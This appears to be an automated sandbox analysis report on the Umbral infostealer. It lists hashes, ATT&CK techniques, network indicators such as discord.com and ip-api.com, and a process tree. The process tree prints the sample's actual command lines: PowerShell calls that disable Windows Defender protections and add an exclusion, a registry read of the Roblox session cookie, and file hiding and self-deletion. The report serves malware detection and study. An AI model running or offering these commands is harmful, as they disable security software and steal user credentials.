umbral | 2576a8b91992cead33bc30b306852a6fbaa559fff89a534537495abe76aca3a2

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
05-06-2024 01:52

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General

Target

Umbral.exe
Size

227KB
MD5

53681862212e052e3c6b3e9ca9594428
SHA1

f89c700368b19d182062f673f9b51199e08c47cc
SHA256

2576a8b91992cead33bc30b306852a6fbaa559fff89a534537495abe76aca3a2
SHA512

2f9649751aeeabd4e59b7e172937518bb6867ce99eee00687243d6218edbdbc5d573a5cea36416131a3787360d215d557f91c75f480d30ce3d6bbd1152e81fa8
SSDEEP

6144:+loZM9rIkd8g+EtXHkv/iD4M6Q2nLxCqV0QhTuOLQjb8e1mui:ooZOL+EP8M6Q2nLxCqV0QhTuOLKY

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2544-1-0x000001D89D090000-0x000001D89D0D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2692	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2952	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4944	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2692	powershell.exe
2692	powershell.exe
1240	powershell.exe
1240	powershell.exe
4220	powershell.exe
4220	powershell.exe
2364	powershell.exe
2364	powershell.exe
3292	powershell.exe
3292	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	Umbral.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	wmic.exe
Token: SeSecurityPrivilege	436	wmic.exe
Token: SeTakeOwnershipPrivilege	436	wmic.exe
Token: SeLoadDriverPrivilege	436	wmic.exe
Token: SeSystemProfilePrivilege	436	wmic.exe
Token: SeSystemtimePrivilege	436	wmic.exe
Token: SeProfSingleProcessPrivilege	436	wmic.exe
Token: SeIncBasePriorityPrivilege	436	wmic.exe
Token: SeCreatePagefilePrivilege	436	wmic.exe
Token: SeBackupPrivilege	436	wmic.exe
Token: SeRestorePrivilege	436	wmic.exe
Token: SeShutdownPrivilege	436	wmic.exe
Token: SeDebugPrivilege	436	wmic.exe
Token: SeSystemEnvironmentPrivilege	436	wmic.exe
Token: SeRemoteShutdownPrivilege	436	wmic.exe
Token: SeUndockPrivilege	436	wmic.exe
Token: SeManageVolumePrivilege	436	wmic.exe
Token: 33	436	wmic.exe
Token: 34	436	wmic.exe
Token: 35	436	wmic.exe
Token: 36	436	wmic.exe
Token: SeIncreaseQuotaPrivilege	436	wmic.exe
Token: SeSecurityPrivilege	436	wmic.exe
Token: SeTakeOwnershipPrivilege	436	wmic.exe
Token: SeLoadDriverPrivilege	436	wmic.exe
Token: SeSystemProfilePrivilege	436	wmic.exe
Token: SeSystemtimePrivilege	436	wmic.exe
Token: SeProfSingleProcessPrivilege	436	wmic.exe
Token: SeIncBasePriorityPrivilege	436	wmic.exe
Token: SeCreatePagefilePrivilege	436	wmic.exe
Token: SeBackupPrivilege	436	wmic.exe
Token: SeRestorePrivilege	436	wmic.exe
Token: SeShutdownPrivilege	436	wmic.exe
Token: SeDebugPrivilege	436	wmic.exe
Token: SeSystemEnvironmentPrivilege	436	wmic.exe
Token: SeRemoteShutdownPrivilege	436	wmic.exe
Token: SeUndockPrivilege	436	wmic.exe
Token: SeManageVolumePrivilege	436	wmic.exe
Token: 33	436	wmic.exe
Token: 34	436	wmic.exe
Token: 35	436	wmic.exe
Token: 36	436	wmic.exe
Token: SeIncreaseQuotaPrivilege	1656	wmic.exe
Token: SeSecurityPrivilege	1656	wmic.exe
Token: SeTakeOwnershipPrivilege	1656	wmic.exe
Token: SeLoadDriverPrivilege	1656	wmic.exe
Token: SeSystemProfilePrivilege	1656	wmic.exe
Token: SeSystemtimePrivilege	1656	wmic.exe
Token: SeProfSingleProcessPrivilege	1656	wmic.exe
Token: SeIncBasePriorityPrivilege	1656	wmic.exe
Token: SeCreatePagefilePrivilege	1656	wmic.exe
Token: SeBackupPrivilege	1656	wmic.exe
Token: SeRestorePrivilege	1656	wmic.exe
Token: SeShutdownPrivilege	1656	wmic.exe
Token: SeDebugPrivilege	1656	wmic.exe
Token: SeSystemEnvironmentPrivilege	1656	wmic.exe
Token: SeRemoteShutdownPrivilege	1656	wmic.exe
Token: SeUndockPrivilege	1656	wmic.exe
Token: SeManageVolumePrivilege	1656	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 968	2544	Umbral.exe	82
PID 2544 wrote to memory of 968	2544	Umbral.exe	82
PID 2544 wrote to memory of 2692	2544	Umbral.exe	84
PID 2544 wrote to memory of 2692	2544	Umbral.exe	84
PID 2544 wrote to memory of 1240	2544	Umbral.exe	88
PID 2544 wrote to memory of 1240	2544	Umbral.exe	88
PID 2544 wrote to memory of 4220	2544	Umbral.exe	90
PID 2544 wrote to memory of 4220	2544	Umbral.exe	90
PID 2544 wrote to memory of 2364	2544	Umbral.exe	92
PID 2544 wrote to memory of 2364	2544	Umbral.exe	92
PID 2544 wrote to memory of 436	2544	Umbral.exe	94
PID 2544 wrote to memory of 436	2544	Umbral.exe	94
PID 2544 wrote to memory of 1656	2544	Umbral.exe	97
PID 2544 wrote to memory of 1656	2544	Umbral.exe	97
PID 2544 wrote to memory of 1912	2544	Umbral.exe	99
PID 2544 wrote to memory of 1912	2544	Umbral.exe	99
PID 2544 wrote to memory of 3292	2544	Umbral.exe	101
PID 2544 wrote to memory of 3292	2544	Umbral.exe	101
PID 2544 wrote to memory of 2952	2544	Umbral.exe	103
PID 2544 wrote to memory of 2952	2544	Umbral.exe	103
PID 2544 wrote to memory of 4604	2544	Umbral.exe	107
PID 2544 wrote to memory of 4604	2544	Umbral.exe	107
PID 4604 wrote to memory of 4944	4604	cmd.exe	109
PID 4604 wrote to memory of 4944	4604	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
968	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1656
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3292
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
5824a6037c081fda5d46de274b6e2799

SHA1
526367a09300cbde430e8fb44e41cbe7a0937aac

SHA256
4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f

SHA512
a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7511c81925750deb7ad1b9b80eea8a8d

SHA1
6ea759b3cbd243ae11435c6d6c5ced185eb01f49

SHA256
5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

SHA512
5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gl2p3hnh.jno.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2544-1-0x000001D89D090000-0x000001D89D0D0000-memory.dmp

Filesize
256KB

Download
memory/2544-35-0x000001D8B7860000-0x000001D8B78B0000-memory.dmp

Filesize
320KB

Download
memory/2544-92-0x00007FF8E9E50000-0x00007FF8EA911000-memory.dmp

Filesize
10.8MB

Download
memory/2544-73-0x000001D8B7760000-0x000001D8B776A000-memory.dmp

Filesize
40KB

Download
memory/2544-2-0x00007FF8E9E50000-0x00007FF8EA911000-memory.dmp

Filesize
10.8MB

Download
memory/2544-0-0x00007FF8E9E53000-0x00007FF8E9E55000-memory.dmp

Filesize
8KB

Download
memory/2544-34-0x000001D8B77E0000-0x000001D8B7856000-memory.dmp

Filesize
472KB

Download
memory/2544-74-0x000001D8B77C0000-0x000001D8B77D2000-memory.dmp

Filesize
72KB

Download
memory/2544-36-0x000001D8B7780000-0x000001D8B779E000-memory.dmp

Filesize
120KB

Download
memory/2692-12-0x000002122E170000-0x000002122E192000-memory.dmp

Filesize
136KB

Download
memory/2692-14-0x00007FF8E9E50000-0x00007FF8EA911000-memory.dmp

Filesize
10.8MB

Download
memory/2692-15-0x00007FF8E9E50000-0x00007FF8EA911000-memory.dmp

Filesize
10.8MB

Download
memory/2692-19-0x00007FF8E9E50000-0x00007FF8EA911000-memory.dmp

Filesize
10.8MB

Download
memory/2692-13-0x00007FF8E9E50000-0x00007FF8EA911000-memory.dmp

Filesize
10.8MB

Download
memory/2692-18-0x000002122DCB0000-0x000002122DECC000-memory.dmp

Filesize
2.1MB

Download
memory/4220-60-0x0000019F29860000-0x0000019F29A7C000-memory.dmp

Filesize
2.1MB

Download